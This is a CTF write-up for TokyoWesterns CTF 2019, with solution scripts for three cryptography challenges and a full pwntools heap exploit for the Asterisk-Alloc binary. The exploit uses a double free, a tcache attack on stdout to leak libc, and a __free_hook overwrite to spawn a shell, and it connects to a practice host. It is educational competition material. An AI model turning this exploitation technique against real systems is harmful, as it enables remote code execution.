Ctf
2 Sep 2019

TokyoWesternsCTF2019-Writeup

TokyoWesternsCTF2019-Writeup

  • real-baby-rsa

    import string
    chars = string.printable
    N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091
    e = 65537
    fuck = [9073209977571176486825453267118351996016396235857623493182258724402523182425555398048461088180575997426276026776186441023571190870577545894667546140441145538176352391499376279774875943812941321565506013356240326235158415041323709138860753984228634160552040417002326854872319407516200542564071756611880349380322282130265915072405694912128104078505106072784722670288292878670301302909960910520529391182927036489958388823511447221117040898358990430312656065571576446469592472217394596577973531530126373565564994195530324540432367900449603179849204693929275999798234441199340509474634967526614647348655247823230784374,35639404627961781906461142088755137025298630410895631726441472610366623418342364917283665767957562174282457589855677069495230225819581200731431201665184892116733696486682454477915290834433777530535524437371339472350901843618705506005661289326664321691979577977602624815055003117998229419500683672655441419257356643852257251251761502995787965709527112696847071565558861604427364918548619913860926470431333287513742767137365798593418198144415567391257323940575314966786015734312154108604715446101475223727342693907796501114753375280182345362719422538419079170715967729017805398797931366993519156066479380119809407749,29970742560802286128437550167617662948565107399193467157016675822924072945425459560240723871886060997775695066335935643764351669954293612699598869470877609376021471072760517084396091286414268314025266921431195032977653702514792415001248075629193225762672546597247381460826494613102523960838451955661302078496325094813575402182208938085376338620166447700573430340174738180230002573129580484509212273973043579080949823666844684955818141112680250709742302040557969338361223048029382382856263109719029545309245888995127887228177601466240736947809755549463788679785044683353591671286918635707381665684957867916158256949,9073209977571176486825453267118351996016396235857623493182258724402523182425555398048461088180575997426276026776186441023571190870577545894667546140441145538176352391499376279774875943812941321565506013356240326235158415041323709138860753984228634160552040417002326854872319407516200542564071756611880349380322282130265915072405694912128104078505106072784722670288292878670301302909960910520529391182927036489958388823511447221117040898358990430312656065571576446469592472217394596577973531530126373565564994195530324540432367900449603179849204693929275999798234441199340509474634967526614647348655247823230784374,6505165269355349459207146663366047441688194958375318364558535173856663450712228704199777355430120346472437926308005168084164236777799358193673817242751350551129761039157690169023013004512588912294543463516411036479035366287351595535944141685254682636766525957625559957518566299296096642785180632298737381753096931371353732906806665505797027298156421929506483811881951997420752668734446176972811145325901107674607822548260986050552942913613453978790269275942433813911123981987320096944112043982171977835970320689551870847467672632789230490245769533853283172375637080945198548214252880070232242439832820376020827270,21183213341593498738516444880543177493922005619583805574621036610845469192010328280773548470111009986871538885425478935646973995507100891215474272395863721865526341059719628170496111172777431901923738040338575993679287205000994133882661468882632557617292897597173414257540085862308519556541967532509933234492153275218004343688362709977324491456249463253627826867702931115952768729397718933895218798741394694581409210667757016552534836181469227211377884483066055101186770442079773603153741831446549174996578414814900577286574676828436588641203924556681193171762756103136365796626495419220299745139504044747791030657,35281408092375952281726917090787142632733066563620991872002918692378166030610011447579042180082695834448370457076107980397712190086934090736939295047739108983311280069632388023724537185206135081640708416065752200674950158226541934310820828884784320648574385481184792432883840428832675118865022388604992184306433162856083501724629453140816907588357066877849638057796037811471382243339150192266945556056920084520661254644740550996346916309525106638714564549966779826545146543226245351244347767520267740976227220806375754780018194765576617703742034900612204265907753037602258832036675965585326987121730208904172636707,9101532610704319801229002627568606593118376880231363961793878928022682616808257607109430196313625958134631704058601693308284947736738665470244813934118299151452767791230856972131812540721505259138770769757869844334681886944409230647759469220912955547226599154678486454341028553818030097462570293871670067871193147146142698847930591071625262873141933952857468878191419947394293498446678303058453036476382121602756768748298356860355063204128785975756727271149328857774395653350883235189149487626224203793753774251337959040605167763646680641380742690050113762978662536767158651047697949489504622384197817837009805899,19727343590375254587632064140287699566563861529445468621638884818761861540961749277853179945255843397536566044480303263556254457161104941393645917691400698065333537334779814570503718249229475690196783419679830207498236110734650420609935794287945715103900372168348961901833772377802379479319644431008757815787334189780063235801416793468059424958573205997627164009534531784146324794250969016066689012860836352144213050795110337215547546732047516573017499097151983502940550806452813587410367538308128332213316272151085118366028973986023768617211377151718510089448930252336976332354607451783997638889985033237270143000,19727343590375254587632064140287699566563861529445468621638884818761861540961749277853179945255843397536566044480303263556254457161104941393645917691400698065333537334779814570503718249229475690196783419679830207498236110734650420609935794287945715103900372168348961901833772377802379479319644431008757815787334189780063235801416793468059424958573205997627164009534531784146324794250969016066689012860836352144213050795110337215547546732047516573017499097151983502940550806452813587410367538308128332213316272151085118366028973986023768617211377151718510089448930252336976332354607451783997638889985033237270143000,4445090445035309816967308047543919771789262531454517330433510565884369964378364605126226379819564829968488441058652506153262173239057050014566164621236559886897342588940445365608806667121789509027430166785283629129835559641423222470548437137085092267666689140100996007770120912463378323231522269978350165368055010106191244418791128640304446285109189459476433859526044671708676266353806769784954069238002071785082141503102486267921996976823912847921270611519062660030226965810630623647778242153341864677007897561440886995514761812023703358772010858242587672016375310824639504946900189098924010345259054082842462952,31489402022237845095713161555001836257530006471622299194679768644155916609549158574276114572220392183225055133158459214892388896393994816734758651928499631810524923518775717585896197183719011892736579692280180081227822350261519282412322947820015241944858673902001159393951757302936493328485381201812608014183954031226460217543105912866745071626776230347839783360708720981407649649955548220895829413187995263132828649329317684457074878797275638819579478233856655925392114867070177288400223153091926885999827210039281985405009690948796370190764595673615665288826527052161511322777467493975861282833820882856374851534,12162447081760673920818643554030757796301331887670032400173183950958372037923153779101114518800878662669193327234676755098501994856505925588938588147627222346418579875160828453373675031697330271241666811616528649626590785905375841865930581008555819760506462114408403893584247203331887414856156039545144175164912450208727932613202090824467408538115899554054403698251263868802055049783186220064659756518127744287353679560300160686602645213626430963599368771180591237896905830755596491910302237379297313673792354864377434884060559130006006741703356932449048458603684568158407356416615593652760086365317869765908887325,7614305733781939066447122348803189917373287147568651764965213030749807399485484322047897612051860731714216366150477837361431739543136904485219669180916405411738000788721017772411359501201129068067345416077041593698798902971482702218995094662687418603328550543751730581653237946791319838231000903206634501454848858633475328021270871124103263667264998568239850985283877083399747580436290629850807257257822672682275745341774055095177776018754664274959088627193403505950285396668902896974422056354568588387407148914323680129699728249546517637740465696761867411721105292606132614457797912681190579464754692178074288432,4445090445035309816967308047543919771789262531454517330433510565884369964378364605126226379819564829968488441058652506153262173239057050014566164621236559886897342588940445365608806667121789509027430166785283629129835559641423222470548437137085092267666689140100996007770120912463378323231522269978350165368055010106191244418791128640304446285109189459476433859526044671708676266353806769784954069238002071785082141503102486267921996976823912847921270611519062660030226965810630623647778242153341864677007897561440886995514761812023703358772010858242587672016375310824639504946900189098924010345259054082842462952,17123640712605486455710331503622149566381895546952371114127099144731126664255209549917555867405427059867732972283523645802981139955091908210987774319048157763180620099419426954198298442527633557343921414871801495924365946643742260302222329777691088689490433561268494614133918271392455570351732278861137935534144740792912463367825185307909549573973115626433511890886427014705525168084527676204902364574079608349328609735158096556056534370160007219534807220550313946711950618126886431458992114623708552088071858757603459331590270703529871979587852610846623171550166793798422077258772030354999760223188522132363046991,7614305733781939066447122348803189917373287147568651764965213030749807399485484322047897612051860731714216366150477837361431739543136904485219669180916405411738000788721017772411359501201129068067345416077041593698798902971482702218995094662687418603328550543751730581653237946791319838231000903206634501454848858633475328021270871124103263667264998568239850985283877083399747580436290629850807257257822672682275745341774055095177776018754664274959088627193403505950285396668902896974422056354568588387407148914323680129699728249546517637740465696761867411721105292606132614457797912681190579464754692178074288432,4445090445035309816967308047543919771789262531454517330433510565884369964378364605126226379819564829968488441058652506153262173239057050014566164621236559886897342588940445365608806667121789509027430166785283629129835559641423222470548437137085092267666689140100996007770120912463378323231522269978350165368055010106191244418791128640304446285109189459476433859526044671708676266353806769784954069238002071785082141503102486267921996976823912847921270611519062660030226965810630623647778242153341864677007897561440886995514761812023703358772010858242587672016375310824639504946900189098924010345259054082842462952,20363550882654656735712963147998538133764637873870133611050214874932713869759354432762182489154746956659530792748712009467706322316422789671158849556725585574743014878264003153724533655903940543399055564251373527306367498696880372355974158195209245652047044565961920636169427251288081831523847056680568954082761535975143622487783020431400018132089211820129843634233950617494095939185923688192584293665299930423599277271190380871612729583568891854409495233551826919062929941588416043949225548978630364031281835831744459011897180506462438324390682101572937023619706529875639300879007478466999609188887673123117209214,35281408092375952281726917090787142632733066563620991872002918692378166030610011447579042180082695834448370457076107980397712190086934090736939295047739108983311280069632388023724537185206135081640708416065752200674950158226541934310820828884784320648574385481184792432883840428832675118865022388604992184306433162856083501724629453140816907588357066877849638057796037811471382243339150192266945556056920084520661254644740550996346916309525106638714564549966779826545146543226245351244347767520267740976227220806375754780018194765576617703742034900612204265907753037602258832036675965585326987121730208904172636707,25661750150853878754481240488233682685517882929639728814204202272300466944029751885011417647185955996359405511812784463409308971670683299387591171281003655244009584382686676455602431966589035323543850991548183390364717650691625896510716018736326547862654140089659211608838212532579483772844608519496561750351067818473538036061228592093439093498669900206177604488003600893640301509323953394788450530568965046074374334569239897130350502591930457667645069637013800325558226517891334098213138664593715281493978250742348707920991717528287382299191564243044640233524841905412208103707160260558591951416676959307806215873,4737418197186592391586354472202635752008590916595183972465218893728984408576507219754756034257570062765539718361106275457290914012214818230187592078034620492127916852822584051869220339575175210112415729295137337534016600589496188204746588011191924526335111889982129997219996968394467426912082167640098296817533219415565903060917501772614737710895898803203456338300434543951124098288424726341437663499204600285075025297455076520034553966868158129943277982252596529840140662262808730320101013990956487314997739426728293826606488664708795806275867014436712077975555430580706595074184505085748631037695311359265814207,11240119660150979130437010834353812296017155111309439220183308849078858227855991580629935251160701236908831103145069249874891107420683432062612665536612579632424859570115647906861174185022272424579522026855349536403185750057864269381747030358151291562103266385870512025415554221071516346694005930799310152192570760986978549090327441829191065302181485759112788523209845375063401092061615955074279097798169788747371586081874107564321734493519543850720805645294745402722149032580939364203729403311298491779041445545543686221479651228590917901489455191288730608899488042870032701482338129174915458598330333698339237521,9101532610704319801229002627568606593118376880231363961793878928022682616808257607109430196313625958134631704058601693308284947736738665470244813934118299151452767791230856972131812540721505259138770769757869844334681886944409230647759469220912955547226599154678486454341028553818030097462570293871670067871193147146142698847930591071625262873141933952857468878191419947394293498446678303058453036476382121602756768748298356860355063204128785975756727271149328857774395653350883235189149487626224203793753774251337959040605167763646680641380742690050113762978662536767158651047697949489504622384197817837009805899,31489402022237845095713161555001836257530006471622299194679768644155916609549158574276114572220392183225055133158459214892388896393994816734758651928499631810524923518775717585896197183719011892736579692280180081227822350261519282412322947820015241944858673902001159393951757302936493328485381201812608014183954031226460217543105912866745071626776230347839783360708720981407649649955548220895829413187995263132828649329317684457074878797275638819579478233856655925392114867070177288400223153091926885999827210039281985405009690948796370190764595673615665288826527052161511322777467493975861282833820882856374851534,11240119660150979130437010834353812296017155111309439220183308849078858227855991580629935251160701236908831103145069249874891107420683432062612665536612579632424859570115647906861174185022272424579522026855349536403185750057864269381747030358151291562103266385870512025415554221071516346694005930799310152192570760986978549090327441829191065302181485759112788523209845375063401092061615955074279097798169788747371586081874107564321734493519543850720805645294745402722149032580939364203729403311298491779041445545543686221479651228590917901489455191288730608899488042870032701482338129174915458598330333698339237521,16720704891001160160511604046230034068017443633324944107643953041525029637475359045544222918596906514858175672077005030029646528275973947925424106660603416024101755629235987451663480919716815710453555727545586520911951104742920461376732853160755293429400576680667408992248991205547254368426122415960086723047971053279114784542893495494822477973438479488654683797880988580652670499899163395980039135520914163301462064745612533965959340971637913982554044048195794501437803019655664987668673582368766149289378623999422915164409242126795125100072233351736630846695814184161368800692814633567060875440309395003605294126]
    nmsl = ''
    for j in range(len(fuck)):
    	for i in chars:
    		if pow(ord(i),e,N) == fuck[j]:
    			nmsl+=i
    			break
    print(nmsl)
    
  • simple magic

    加密过程不相邻字节互不影响,根据给出的六组数据,两字节爆破一字节,得到key

    def encrypt(msg, key):
        enc = msg
        mask = (1 << 128) - 1
        for i in range(765):
            enc = (enc + key) & mask
            enc = enc ^ key
        return enc
      
      
    def decrypt(msg, key):
        enc = msg
        mask = (1 << 128) - 1
        for i in range(765):
            enc = enc ^ key
            enc = (enc - key) & mask
        return enc
    '''
    Encrypted flag: 43713622de24d04b9c05395bb753d437
    Pair 1: plain=29abc13947b5373b86a1dc1d423807a enc=b36b6b62a7e685bd1158744662c5d04a
    Pair 2: plain=eeb83b72d3336a80a853bf9c61d6f254 enc=614d86b5b6653cdc8f33368c41e99254
    Pair 3: plain=7a0e5ffc7208f978b81475201fbeb3a0 enc=292a7ff7f12b4e21db00e593246be5a0
    Pair 4: plain=c464714f5cdce458f32608f8b5e2002e enc=64f930da37d494c634fa22a609342ffe
    Pair 5: plain=f944aaccf6779a65e8ba74795da3c41d enc=aa3825e62d053fb0eb8e7e2621dabfe7
    Pair 6: plain=552682756304d662fa18e624b09b2ac5 enc=f2ffdf4beb933681844c70190ecf60bf
      
    '''
    flag = 0x43713622de24d04b9c05395bb753d437
    plain1=0x029abc13947b5373b86a1dc1d423807a 
    enc1=0xb36b6b62a7e685bd1158744662c5d04a
    plain2=0xeeb83b72d3336a80a853bf9c61d6f254 
    enc2=0x614d86b5b6653cdc8f33368c41e99254
    plain3=0x7a0e5ffc7208f978b81475201fbeb3a0 
    enc3=0x292a7ff7f12b4e21db00e593246be5a0
    plain4=0xc464714f5cdce458f32608f8b5e2002e 
    enc4=0x64f930da37d494c634fa22a609342ffe
    plain5=0xf944aaccf6779a65e8ba74795da3c41d 
    enc5=0xaa3825e62d053fb0eb8e7e2621dabfe7
    plain6=0x552682756304d662fa18e624b09b2ac5 
    enc6=0xf2ffdf4beb933681844c70190ecf60bf
      
    k = 0x2f521aebdc494957a9ba153e7773d509
      
    #p = encrypt(m,k)
    #print(hex(p))
    index1 = -(4*8)
    index2 = -(4*7)
    shr = 16*7
    [0x5505,0xd509]
    ['0x7773', '0xf773']
    ['0x153e', '0x953e']
    ['0x29ba', '0xa9ba']
    ['0x4957', '0xc957']
    ['0x5c49', '0xdc49']
    ['0x1aeb', '0x9aeb']
    ['0x2f52', '0xaf52']
    #TWCTF{ade4850ad48b8d21fa7dae86b842466d}
    print(encrypt(231142985373074826777991337363961431661,k))
    res = []
    for i in range(0xffff):
    	if i % 10000 == 0:
    		print(i)
    	p1 = encrypt(plain1,k+(i<<shr))
    	p2 = encrypt(plain2,k+(i<<shr))
    	p3 = encrypt(plain3,k+(i<<shr))
    	p4 = encrypt(plain4,k+(i<<shr))
    	p5 = encrypt(plain5,k+(i<<shr))
    	p6 = encrypt(plain6,k+(i<<shr))
    	if hex(p1).strip('L')[index1:index2] != hex(enc1).strip('L')[index1:index2]:
    		continue
    	if hex(p2).strip('L')[index1:index2] != hex(enc2).strip('L')[index1:index2]:
    		continue
    	if hex(p3).strip('L')[index1:index2] != hex(enc3).strip('L')[index1:index2]:
    		continue
    	if hex(p4).strip('L')[index1:index2] != hex(enc4).strip('L')[index1:index2]:
    		continue
    	if hex(p5).strip('L')[index1:index2] != hex(enc5).strip('L')[index1:index2]:
    		continue
    	if hex(p6).strip('L')[index1:index2] != hex(enc6).strip('L')[index1:index2]:
    		continue
    	print(hex(p1))
    	print(hex(p2))
    	print(hex(p3))
    	print(hex(p4))
    	print(hex(p5))
    	print(hex(p6))
    	print(hex(i))
    	res.append(hex(i))
    print(res)
    
  • happy!

    公钥

    e = 65537
    N = 5452318773620154613572502669913080727339917760196646730652258556145398937256752632887555812737783373177353194432136071770417979324393263857781686277601413222025718171529583036919918011865659343346014570936822522629937049429335236497295742667600448744568785484756006127827416640477334307947919462834229613581880109765730148235236895292544500644206990455843770003104212381715712438639535055758354549980537386992998458659247267900481624843632733660905364361623292713318244751154245275273626636275353542053068704371642619745495065026372136566314951936609049754720223393857083115230045986813313700617859091898623345607326632849260775745046701800076472162843326078037832455202509171395600120638911
    cf = 25895436290109491245101531425889639027975222438101136560069483392652360882638128551753089068088836092997653443539010850513513345731351755050869585867372758989503310550889044437562615852831901962404615732967948739458458871809980240507942550191679140865230350818204637158480970417486015745968144497190368319745738055768539323638032585508830680271618024843807412695197298088154193030964621282487334463994562290990124211491040392961841681386221639304429670174693151
    
        def self.generate_key(bits, k)
            while true
                p = OpenSSL::BN::generate_prime(bits, true).to_i
                q = OpenSSL::BN::generate_prime(bits, true).to_i
                e = 65537
                next if e.gcd((p - 1) * (q - 1) * q ** (k - 1)) > 1
                d1 = e.pow((p - 1) / 2 - 2, (p - 1))
                fail unless d1 * e % (p - 1) == 1 
                d2 = e.pow(((q - 1) / 2 - 1) * (q - 1) * (k > 1 ? q ** (k - 2) : 1) - 1, q ** (k - 1) * (q - 1))
                fail unless d2 * e % (q ** (k - 1) * (q - 1)) == 1 
                cf = p.pow(q ** (k - 1) * (q - 1) - 1, q ** k)
                return Key.new({
                    n: p * q ** k,
                    e: e,
                    p: p,
                    q: q ** k,
                    d1: d1,
                    d2: d2,
                    cf: cf,
                })
                break
            end
    

    $cf = invert(p,q^2) $

    $cf*p^2-1 = 0 mod\ q^{2}$

    def main():
        e = 65537
        N = 5452318773620154613572502669913080727339917760196646730652258556145398937256752632887555812737783373177353194432136071770417979324393263857781686277601413222025718171529583036919918011865659343346014570936822522629937049429335236497295742667600448744568785484756006127827416640477334307947919462834229613581880109765730148235236895292544500644206990455843770003104212381715712438639535055758354549980537386992998458659247267900481624843632733660905364361623292713318244751154245275273626636275353542053068704371642619745495065026372136566314951936609049754720223393857083115230045986813313700617859091898623345607326632849260775745046701800076472162843326078037832455202509171395600120638911
        qinv = 25895436290109491245101531425889639027975222438101136560069483392652360882638128551753089068088836092997653443539010850513513345731351755050869585867372758989503310550889044437562615852831901962404615732967948739458458871809980240507942550191679140865230350818204637158480970417486015745968144497190368319745738055768539323638032585508830680271618024843807412695197298088154193030964621282487334463994562290990124211491040392961841681386221639304429670174693151
          
        P.<x> = PolynomialRing(Zmod(N), implementation='NTL')
        pol = x*qinv - 1
        pol = pol.monic()
        roots = pol.small_roots(X=2**765, beta=0.6)
        print("Potential solutions:")
        for p in roots:
            q = isqrt(int(N)/int(p))
            phi = (p-1)*(q-1)*q
            d = inverse_mod(e, phi)
            print(d)
      
    main()
    
    d = 313643312579885910144930879740792443079046797319702735470940304815114423813387207622962378717692956907985131193206173468032955155911357015790117906931310982300638685119345225585365379933984401550490180088069653940748930777249398681018529181837718088338410634951815720591986027326920386342449211862769317826747179543111987382083071211027548820393280953703100868439675930431579069835763288141197755585262721361909904809472100941962440764955942607730932895387899109482973057485978370088173899965076238641801547197089631820258212320243267074873219925727866388979716767504927253295557727184298435208619716766017226260721754210366993951047440280419099305076176216010566878368093440228299300269753
    
    from Crypto.PublicKey import RSA
    from cryptography.hazmat.backends import default_backend
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric import padding
      
      
    def main():
        e = 65537L
        N = 5452318773620154613572502669913080727339917760196646730652258556145398937256752632887555812737783373177353194432136071770417979324393263857781686277601413222025718171529583036919918011865659343346014570936822522629937049429335236497295742667600448744568785484756006127827416640477334307947919462834229613581880109765730148235236895292544500644206990455843770003104212381715712438639535055758354549980537386992998458659247267900481624843632733660905364361623292713318244751154245275273626636275353542053068704371642619745495065026372136566314951936609049754720223393857083115230045986813313700617859091898623345607326632849260775745046701800076472162843326078037832455202509171395600120638911
        d = 313643312579885910144930879740792443079046797319702735470940304815114423813387207622962378717692956907985131193206173468032955155911357015790117906931310982300638685119345225585365379933984401550490180088069653940748930777249398681018529181837718088338410634951815720591986027326920386342449211862769317826747179543111987382083071211027548820393280953703100868439675930431579069835763288141197755585262721361909904809472100941962440764955942607730932895387899109482973057485978370088173899965076238641801547197089631820258212320243267074873219925727866388979716767504927253295557727184298435208619716766017226260721754210366993951047440280419099305076176216010566878368093440228299300269753
        key = RSA.construct((N, e, d))
        pemkey = key.exportKey()
        encrypted = open("flag.enc", 'rb').read()
        private_key = serialization.load_pem_private_key(
            pemkey,
            password=None,
            backend=default_backend()
        )
        original_message = private_key.decrypt(
            encrypted,
            padding.OAEP(
                mgf=padding.MGF1(algorithm=hashes.SHA1()),
                algorithm=hashes.SHA1(),
                label=None
            )
        )
        print(original_message)
      
    main()
    
  • Asterisk-Alloc

    malloc、calloc、relloc,除了relloc其他的只能用一次

    calloc不使用tcache,没什么用

    unsigned __int64 call_realloc()
    {
      size_t v0; // rsi
      size_t size; // [rsp+0h] [rbp-10h]
      unsigned __int64 v3; // [rsp+8h] [rbp-8h]
      
      v3 = __readfsqword(0x28u);
      printf("Size: ");
      __isoc99_scanf("%ld", &size);
      getchar();
      v0 = size;
      ptr_r = realloc(ptr_r, size);
      printf("Data: ", v0);
      read(0, ptr_r, size);
      return __readfsqword(0x28u) ^ v3;
    }
    

    relloc(ptr,size),若ptr为NULL,将调用__libc_malloc,相当于malloc

    size给一个负数,realloc执行失败,返回NULL,这样就得到了为NULL的ptr

    存在double free,基本操作,先free一波搞进unsorted bin,然后爆破两字节tcache attack打到stdout,泄露libc,然后改free_hook

    from pwn import *
    #r = remote('node2.buuoj.cn.wetolink.com',28167)
    #r = process('./TWCTF_online_2019_asterisk_alloc')
    elf = ELF('./TWCTF_online_2019_asterisk_alloc')
    libc = ELF('./libc.so.6')
      
    def realloc(size,content):
        r.sendlineafter(':','3')
        r.sendlineafter(':',str(size))
        if size > 0:
            r.sendafter(': ',content)
      
    def malloc(size,content):
        r.sendlineafter(':','1')
        r.sendlineafter(':',str(size))
        r.sendafter(':',content)
      
    def calloc(size,content):
        r.sendlineafter(':','2')
        r.sendlineafter(':',str(size))
        r.sendafter(':',content)
      
    def free(which):
        r.sendlineafter(':','4')
        r.sendlineafter(':',which)
    while True:
    	try:
    		r = remote('node2.buuoj.cn.wetolink.com',28167)
    		malloc(0x90,'fuck')
    		realloc(0x90,'fuck')
    		free('r')
    		free('r')
    		free('r')
    		free('r')
    		free('r')
    		free('r')
    		free('r')
    		free('r')
    		realloc(0x90,p16(0xc760))
    		realloc(-1,'')
    		realloc(0x90,p16(0xc760))
    		realloc(-1,'')
    		realloc(0x90,p64(0xfbad1800)+'\x00'*0x19)
    		r.recvuntil('Size: Data: ')
    		fuck = r.recvuntil('=')
    		log.info(fuck)
    		libc_base = u64(fuck[8:16])-0x3ed8b0
    		log.success('libc_base:'+hex(libc_base))
    		fuck_addr = libc_base+0x3ed8e8
    		one = libc_base+0x4f322
    		log.success('fuck_addr:'+hex(fuck_addr))
    		log.success('one:'+hex(one))
      
    		free('m')
    		realloc(-1,'')
    		realloc(0x90,'fuck')
    		free('r')
    		realloc(0x90,p64(fuck_addr))
    		realloc(-1,'')
    		realloc(0x90,'fuck')
    		realloc(-1,'')
    		realloc(0x90,p64(one))
    		free('m')
    		r.interactive()
    	except:
    		continue
      
    

Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).